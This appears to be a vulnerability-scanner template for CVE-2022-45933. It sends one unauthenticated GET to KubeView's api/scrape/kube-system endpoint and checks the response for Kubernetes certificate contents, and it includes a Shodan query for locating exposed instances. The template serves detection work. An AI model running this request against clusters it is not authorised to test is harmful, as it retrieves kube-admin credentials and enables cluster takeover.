id: CVE-2022-45933

info:
  name: KubeView - Information disclosure
  author: For3stCo1d
  severity: critical
  description: |
    KubeView through 0.1.31 allows attackers to obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication, and retrieves certificate files that can be used for authentication as kube-admin. NOTE: the vendor's position is that KubeView was a "fun side project and a learning exercise," and not "very secure."
  reference:
    - https://github.com/benc-uk/kubeview/issues/95
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45933
    cwe-id: CWE-287
  metadata:
    shodan-query: http.title:"KubeView"
    verified: "true"
  tags: cve,cve2022,kubeview,kubernetes,exposure

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/scrape/kube-system"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'BEGIN CERTIFICATE'
          - 'END CERTIFICATE'
          - 'kubernetes.io'
        condition: and

      - type: status
        status:
          - 200